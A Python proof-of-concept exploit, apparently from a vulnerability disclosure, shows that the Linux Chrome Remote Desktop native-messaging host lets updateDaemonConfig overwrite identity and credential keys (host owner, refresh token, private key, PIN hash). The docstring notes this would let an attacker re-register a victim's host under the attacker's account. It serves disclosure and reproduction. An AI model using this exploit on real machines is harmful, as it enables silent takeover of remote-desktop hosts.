#!/usr/bin/env python3
"""
POC: CRD Me2Me native-messaging host on Linux accepts readonly keys in
updateDaemonConfig, allowing a compromised CRD companion-extension renderer
to silently overwrite host_id / host_owner / service_account /
oauth_refresh_token / private_key / host_secret_hash in the on-disk host
config — keys that the Windows delegate explicitly rejects.

Attack model
------------
The CRD companion extension (chrome-extension://inomeogfingihgjfjlpeplalcfajhgai)
is the only allowed_origins entry for the com.google.chrome.remote_desktop
native-messaging host. When that extension's renderer is compromised, the
attacker can call chrome.runtime.connectNative() and post arbitrary JSON.
Chrome then spawns the native-messaging host binary and pipes the JSON over
stdin/stdout using the native-messaging wire format (uint32-LE length prefix
+ UTF-8 JSON). Chrome does no validation of the message body.

This POC reproduces exactly that pipe traffic by spawning
remoting_native_messaging_host directly and writing the same framed bytes a
compromised renderer would cause Chrome to write.

Result
------
DaemonControllerDelegateLinux::UpdateConfig() merges the attacker dictionary
into ~/.config/chrome-remote-desktop/host#<md5(hostname)>.json with no key
filter, overwriting identity / credential keys. (The subsequent
`chrome-remote-desktop --reload` step fails on this test box because the host
package isn't installed, but the config write at
daemon_controller_delegate_linux.cc:233 has already happened — on a real
victim with the package installed, --reload sends SIGHUP and the daemon
re-registers under the attacker's account with no prompt.)
"""

import hashlib
import json
import os
import socket
import struct
import subprocess
import sys

NMH_BINARY = os.environ.get(
    "NMH_BINARY",
    "/chromium/chromium/src/out/asan/remoting_native_messaging_host")

# Same origin Chrome passes as argv[1] when the CRD companion extension
# calls connectNative().
ORIGIN = "chrome-extension://inomeogfingihgjfjlpeplalcfajhgai/"

# kReadonlyKeys on Windows (daemon_controller_delegate_win.cc:61-63):
#   host_id, host_owner, service_account, xmpp_login, host_owner_email
# plus the credential keys an attacker actually needs to hijack the host.
ATTACKER_CONFIG = {
    "host_id": "attacker-host-00000000-0000-0000-0000-000000000000",
    "host_owner": "attacker@evil.example",
    "host_owner_email": "attacker@evil.example",
    "service_account": "attacker-sa@chromoting-sa.iam.gserviceaccount.com",
    "xmpp_login": "attacker-sa@chromoting-sa.iam.gserviceaccount.com",
    "oauth_refresh_token": "1//attacker-refresh-token",
    "private_key": "ATTACKER_CONTROLLED_PRIVATE_KEY_BASE64",
    "host_secret_hash": "hmac:ATTACKER_CHOSEN_PIN_HASH",
}

VICTIM_CONFIG = {
    "host_id": "victim-host-11111111-1111-1111-1111-111111111111",
    "host_owner": "victim@example.com",
    "service_account": "victim-sa@chromoting-sa.iam.gserviceaccount.com",
    "oauth_refresh_token": "1//victim-refresh-token",
    "private_key": "VICTIM_PRIVATE_KEY_BASE64",
    "host_secret_hash": "hmac:VICTIM_PIN_HASH",
    "host_name": "victim-workstation",
}


def config_path():
    # remoting/base/file_path_util_linux.cc: GetHostHash() / GetPerUserConfigDir()
    h = "host#" + hashlib.md5(socket.gethostname().encode()).hexdigest()
    return os.path.join(os.path.expanduser("~"),
                        ".config", "chrome-remote-desktop", h + ".json")


def frame(obj):
    body = json.dumps(obj).encode("utf-8")
    return struct.pack("<I", len(body)) + body


def main():
    cfg = config_path()
    os.makedirs(os.path.dirname(cfg), exist_ok=True)
    with open(cfg, "w") as f:
        json.dump(VICTIM_CONFIG, f, indent=2)

    print(f"[+] victim config written to {cfg}")
    print("[+] BEFORE:")
    print(json.dumps(VICTIM_CONFIG, indent=2))
    print()

    # Spawn the native-messaging host exactly as Chrome would: argv[1] = origin,
    # JSON framed on stdin/stdout.
    p = subprocess.Popen(
        [NMH_BINARY, ORIGIN],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )

    # 1. hello (optional handshake the real extension sends).
    # 2. The malicious updateDaemonConfig with readonly identity keys.
    payload = frame({"id": 1, "type": "hello"})
    payload += frame({
        "id": 2,
        "type": "updateDaemonConfig",
        "config": ATTACKER_CONFIG,
    })

    out, err = p.communicate(input=payload, timeout=60)

    # Decode any framed responses on stdout.
    print("[+] native-messaging host responses:")
    i = 0
    while i + 4 <= len(out):
        (n,) = struct.unpack_from("<I", out, i)
        i += 4
        body = out[i:i + n]
        i += n
        try:
            print("   ", json.dumps(json.loads(body)))
        except Exception:
            print("   ", body)
    print()
    if err:
        print("[+] native-messaging host stderr:")
        sys.stderr.write(err.decode(errors="replace"))
        print()

    with open(cfg) as f:
        after = json.load(f)
    print("[+] AFTER (on-disk config):")
    print(json.dumps(after, indent=2))
    print()

    overwritten = sorted(k for k, v in ATTACKER_CONFIG.items()
                         if after.get(k) == v)
    win_readonly = {"host_id", "host_owner", "service_account",
                    "xmpp_login", "host_owner_email"}
    print("[+] attacker keys now present in on-disk config:")
    for k in overwritten:
        tag = "  [Windows-kReadonlyKeys]" if k in win_readonly else ""
        print(f"    {k} = {after[k]!r}{tag}")

    leaked_readonly = win_readonly & set(overwritten)
    if leaked_readonly:
        print()
        print("[!] VULNERABILITY CONFIRMED:")
        print("    DaemonControllerDelegateLinux::UpdateConfig() merged keys")
        print("    that DaemonControllerDelegateWin::UpdateConfig() rejects via")
        print("    kReadonlyKeys: " + ", ".join(sorted(leaked_readonly)))
        return 0

    print("[!] readonly keys were NOT merged — vulnerability not reproduced")
    return 1


if __name__ == "__main__":
    sys.exit(main())
